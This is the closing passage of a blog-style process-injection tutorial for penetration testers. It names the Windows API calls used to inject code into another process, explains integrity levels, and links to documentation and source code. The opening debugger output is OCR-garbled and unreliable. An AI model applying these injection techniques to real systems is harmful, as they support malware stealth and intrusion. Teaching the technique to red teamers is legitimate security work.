OxFfefdes 1000 Image: Commit 458 kB RX Ci\Windows\System32\advapi32.dll
OxFfefdsd 1000 Image: Commit 904kE RX C:\Windows\System32yrport4. dil
OxFfefdeb 1000 Image: Commit 292kB RX Ci\Windows\System32KerneBase. dl
DxFfefd4f1000 Image: Commit 16kE RX Ci\Windows\System32\oryptbase. dil
o FFefd49 1000 :_.l___. P — = Trar e = T | P T PR PR RS P B S S | . |
[ Ty | oy i Y T T}
! [ 65% remair

So this is how you can inject you code into another process.

But, there is a caveat. Opening another process with write access is submitted to restrictions.

One protection is Mandatory Integrity Control (MIC). MIC is a protection method to control
access to objects based on their “Integrity level”.

There are 4 integrity levels:

- low level - process which are restricted to access most of the system (internet explorer)
- medium level - is the default for any process started by unprivileged users and also
administrator users if UAC is enabled.

- high level - process running with administrator privileges.

- system level - by SYSTEM users, generally the level of system services and process
requiring the highest protection.

For now we will not delve into this. Firstly | will try figure this out myself.

VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess

Source code in Github
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https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://github.com/cocomelonc/meow/tree/master/2021-09-19-injection-1

| hope this post was at least a little useful for entry level penetration testers and red teamers

and possibly even professionals.

Thanks for your time and good bye!
PS. All drawings and screenshots are mine
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